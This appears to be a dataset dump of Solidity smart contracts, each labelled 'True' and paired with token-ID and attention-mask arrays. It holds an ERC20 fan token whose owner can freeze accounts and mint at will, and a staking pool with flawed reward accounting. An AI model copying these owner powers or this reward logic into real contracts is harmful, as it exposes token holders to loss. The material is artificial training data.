1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
pragma solidity ^0.5.0;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Roles {
struct Role {
mapping(address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(
address from,
address to,
uint256 value
) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value
);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
/*
* approve/increaseApprove/decreaseApprove can be set when Paused state
*/
/*
* function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
* return super.approve(spender, value);
* }
*
* function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
* return super.increaseAllowance(spender, addedValue);
* }
*
* function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
* return super.decreaseAllowance(spender, subtractedValue);
* }
*/
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string memory name,
string memory symbol,
uint8 decimals
) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract JustinSunFanToken is ERC20Detailed, ERC20Pausable {
mapping(address => bool) public frozenAccount;
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozenAccount[_holder]);
_;
}
constructor() public ERC20Detailed("JustinSun.FanToken", "JSF", 18) {
_mint(msg.sender, 100000000 * (10**18));
}
function balanceOf(address owner) public view returns (uint256) {
return super.balanceOf(owner);
}
function transfer(address to, uint256 value)
public
notFrozen(msg.sender)
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
) public notFrozen(from) returns (bool) {
return super.transferFrom(from, to, value);
}
function freezeAccount(address holder) public onlyOwner returns (bool) {
require(!frozenAccount[holder]);
frozenAccount[holder] = true;
emit Freeze(holder);
return true;
}
function unfreezeAccount(address holder) public onlyOwner returns (bool) {
require(frozenAccount[holder]);
frozenAccount[holder] = false;
emit Unfreeze(holder);
return true;
}
function mint(uint256 _amount) public onlyOwner returns (bool) {
_mint(msg.sender, _amount);
return true;
}
function burn(uint256 _amount) public onlyOwner returns (bool) {
_burn(msg.sender, _amount);
return true;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
4800,
24759,
3111,
2048,
27121,
24028,
1010,
7065,
8743,
2015,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
3806,
20600,
1024,
2023,
2003,
16269,
2084,
9034,
1005,
1037,
1005,
2025,
2108,
5717,
1010,
2021,
1996,
1013,
1013,
5770,
2003,
2439,
2065,
1005,
1038,
1005,
2003,
2036,
7718,
1012,
1013,
1013,
2156,
1024,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
4139,
1013,
4720,
2475,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
16109,
2407,
1997,
2048,
27121,
24028,
19817,
4609,
18252,
1996,
22035,
9515,
3372,
1010,
7065,
8743,
2015,
2006,
2407,
2011,
5717,
1012,
1008,
1013,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
5024,
3012,
2069,
8073,
19514,
2043,
16023,
2011,
1014,
5478,
1006,
1038,
1028,
1014,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1005,
1056,
2907,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4942,
6494,
16649,
2048,
27121,
24028,
1010,
7065,
8743,
2015,
2006,
2058,
12314,
1006,
1045,
1012,
1041,
1012,
2065,
4942,
6494,
22342,
2003,
3618,
2084,
8117,
24997,
2094,
1007,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
9909,
2048,
27121,
24028,
1010,
7065,
8743,
2015,
2006,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
20487,
2048,
27121,
24028,
1998,
5651,
1996,
6893,
1006,
27121,
16109,
16913,
18845,
1007,
1010,
1008,
7065,
8743,
2015,
2043,
16023,
2011,
5717,
1012,
1008,
1013,
3853,
16913,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
999,
1027,
1014,
1007,
1025,
2709,
1037,
1003,
1038,
1025,
1065,
1065,
3075,
4395,
1063,
2358,
6820,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/**
BETA POOL :
Pool Details - 10%, 7 days (1 Week)
Early Maturity - 1/2 Week ,3.5 Days, 20% Of Pool Rewards
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address payable public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
_owner = payable(msg.sender);
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address payable newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface Token {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function balanceOf(address who) external view returns (uint256);
}
contract MU_StakePool is Ownable{
using SafeMath for uint;
struct User {
uint256 poolBal;
uint40 pool_deposit_time;
uint256 total_deposits;
uint256 pool_payouts;
uint256 rewardEarned;
uint256 rewardUnWithdrawed;
uint256 earlyRewardUnWithdrawed;
uint256 afterEarlyRewardUnWithdrawed;
}
address public tokenAddr;
uint256 public Pool = 100000;
uint256 public PoolBalance;
uint256 public tokenDecimal = 18;
uint256 public poolNumber = 1;
uint256 public poolRewardPercent = 10;
uint256 public poolDurationMonths = 1;
mapping(address => User) public users;
event TokenTransfer(address beneficiary, uint amount);
event PoolTransfer(address beneficiary, uint amount);
event RewardClaimed(address beneficiary, uint amount);
mapping (address => uint256) public balances;
constructor(address _tokenAddr) {
tokenAddr = _tokenAddr;
}
/* Recieve Accidental ETH Transfers */
receive() payable external {
_owner.transfer(msg.value);
balances[msg.sender] = balances[msg.sender].add(msg.value);
}
/* Stake Token Function */
function PoolStake(uint256 _amount) public returns (bool) {
require(_amount <= Token(tokenAddr).balanceOf(msg.sender),"Token Balance of user is less");
require(Token(tokenAddr).transferFrom(msg.sender,address(this), _amount),"BEP20: Amount Transfer Failed Check id Amount is Approved");
PoolBalance += _amount;
require(PoolBalance <= Pool * (10**tokenDecimal),"Pool is Full, Enter Amount Equal to Pool Holding or remaining pool balance");
require(users[msg.sender].poolBal == 0,"Already Staked");
users[msg.sender].poolBal = _amount;
users[msg.sender].total_deposits += _amount;
users[msg.sender].pool_deposit_time = uint40(block.timestamp);
users[msg.sender].rewardUnWithdrawed = (_amount*10)/100; // 10% Total Reward After 1 Week Stake
users[msg.sender].earlyRewardUnWithdrawed = (((_amount*10)/100)*20)/100; // 20% of Reward After 3.5 Days Stake - Early Maturity
users[msg.sender].afterEarlyRewardUnWithdrawed = (((_amount*10)/100)*80)/100; // 80% of Reward After 1 week Stake Early Withdrawal - Full Maturity
emit PoolTransfer(msg.sender, _amount);
return true;
}
/* Claims Principal Token and Rewards Collected */
function claimPool() public returns(bool){
require(users[msg.sender].poolBal > 0,"There is no deposit for this address in Pool");
require(block.timestamp > users[msg.sender].pool_deposit_time + 5040 minutes, "Minimum 3.5 Days to be completed - 1/2 Week");
if(block.timestamp > users[msg.sender].pool_deposit_time + 5040 minutes && block.timestamp < users[msg.sender].pool_deposit_time + 7 days){
require(Token(tokenAddr).transfer(msg.sender, users[msg.sender].earlyRewardUnWithdrawed),"Cannot Transfer Reward Funds");
users[msg.sender].rewardEarned += (users[msg.sender].earlyRewardUnWithdrawed);
users[msg.sender].rewardUnWithdrawed = users[msg.sender].rewardUnWithdrawed - users[msg.sender].earlyRewardUnWithdrawed;
users[msg.sender].earlyRewardUnWithdrawed = 0;
emit RewardClaimed(msg.sender, users[msg.sender].earlyRewardUnWithdrawed);
return true;
}else{
require(block.timestamp > users[msg.sender].pool_deposit_time + 7 days, "Minimum 7 Days to be completed - 1 Week");
uint256 amount = users[msg.sender].poolBal;
require(Token(tokenAddr).transfer(msg.sender, amount),"Cannot Transfer Principal Funds");
require(Token(tokenAddr).transfer(msg.sender, users[msg.sender].earlyRewardUnWithdrawed + users[msg.sender].afterEarlyRewardUnWithdrawed),"Cannot Transfer Reward Funds");
uint256 totalReward= (users[msg.sender].earlyRewardUnWithdrawed + users[msg.sender].afterEarlyRewardUnWithdrawed);
users[msg.sender].rewardEarned += totalReward;
users[msg.sender].rewardUnWithdrawed = users[msg.sender].rewardUnWithdrawed - (users[msg.sender].earlyRewardUnWithdrawed + users[msg.sender].afterEarlyRewardUnWithdrawed);
users[msg.sender].earlyRewardUnWithdrawed = 0;
users[msg.sender].afterEarlyRewardUnWithdrawed = 0;
users[msg.sender].poolBal = 0;
users[msg.sender].pool_deposit_time = 0;
users[msg.sender].pool_payouts += amount;
emit TokenTransfer(msg.sender, amount);
emit RewardClaimed(msg.sender, totalReward);
return true;
}
}
/* Check Token Balance inside Contract */
function tokenBalance() public view returns (uint256){
return Token(tokenAddr).balanceOf(address(this));
}
/* Check ETH Balance inside Contract */
function ethBalance() public view returns (uint256){
return address(this).balance;
}
/* Calculate Remaining Staking Claim time of Users */
function stakeTimeRemaining(address _userAdd) public view returns (uint256){
if(users[_userAdd].pool_deposit_time > 0){
uint256 stakeTime = users[_userAdd].pool_deposit_time + 7 days;
if(stakeTime > block.timestamp){
return (stakeTime - block.timestamp);
}else{
return 0;
}
}else{
return 0;
}
}
/* Calculate Early Remaining Staking Claim time of Users */
function earlyStakeTimeRemaining(address _userAdd) public view returns (uint256){
if(users[_userAdd].pool_deposit_time > 0){
uint256 stakeTime = users[_userAdd].pool_deposit_time + 5040 minutes;
if(stakeTime > block.timestamp){
return (stakeTime - block.timestamp);
}else{
return 0;
}
}else{
return 0;
}
}
/* Admin function to update the Pool Total Stake Capacity */
function updatePoolCapacity(uint256 PoolAmount) public onlyOwner() returns(bool){
Pool = PoolAmount;
return true;
}
/* Maturity Date */
function maturityDate(address userAdd) public view returns(uint256){
return (users[userAdd].pool_deposit_time + 7 days);
}
/* Early Maturity Date */
function earlyMaturityDate(address userAdd) public view returns(uint256){
return (users[userAdd].pool_deposit_time + 5040 minutes);
}
} | True | [
101,
1013,
1008,
1008,
8247,
4770,
1024,
4770,
4751,
1011,
2184,
1003,
1010,
1021,
2420,
1006,
1015,
2733,
1007,
2220,
16736,
1011,
1015,
1013,
1016,
2733,
1010,
1017,
1012,
1019,
2420,
1010,
2322,
1003,
1997,
4770,
19054,
1008,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1023,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
18900,
2232,
1008,
1030,
16475,
8785,
3136,
2007,
3808,
14148,
2008,
5466,
2006,
7561,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
20865,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
8073,
11618,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1005,
1056,
2907,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
